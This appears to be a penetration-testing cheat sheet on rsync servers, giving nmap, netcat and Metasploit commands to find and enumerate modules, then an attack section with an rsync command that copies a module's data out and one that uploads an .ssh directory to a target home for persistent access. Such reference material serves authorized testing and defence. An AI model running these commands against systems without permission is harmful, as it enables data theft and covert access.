Skip to main content


Default Port: 873


To initiate a connection with an rsync server, use the rsync command followed by the rsync URL.

The URL format is `[rsync://][user@]host[:port]/module.``

rsync rsync://user@target_host/


Identifying an Rsync Server

You can use Nmap to check if there's an Rsync server on a target host like this:

nmap -p 873 X.X.X.X

You can use Netcat to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -nv X.X.X.X 873

# Expected output format
@RSYNCD: version

Enumerate Modules

Enumeration is crucial in understanding the structure of the target rsync module and finding misconfigurations or sensitive information.

Using nmap

nmap -sV --script "rsync-list-modules" -p 873 target_host

Using Metasploit

msf> use auxiliary/scanner/rsync/modules_list

Enumerate Shared Folders

Rsync modules represent directory shares and may be protected with a password. To list these modules:

rsync target_host::

For detailed enumeration of a specific module to see files and permissions:

rsync -av --list-only rsync://target_host/module_name

Attack Vectors

Misconfigured Modules

Modules without proper authentication can be accessed by unauthorized users. This vulnerability allows attackers to read, modify, or delete sensitive data.

If a module is writable, and you have determined its path through enumeration, you can upload malicious files, potentially leading to remote command execution or pivoting into the network.

Outdated Rsync Version

Old versions of rsync may contain vulnerabilities that can be exploited. Use tools like nmap with version detection to identify if the target is running an outdated rsync version.

nmap -sV --script=rsync-list-modules target_host


Data Exfiltration

Sensitive data identified during enumeration can be exfiltrated using rsync:

rsync -avz target_host::module_name /local/directory/

Gain Persistent Access

Upload artifacts like modified scripts or binaries to maintain access:

rsync -av home_user/.ssh/ rsync://user@target_host/home_user/.ssh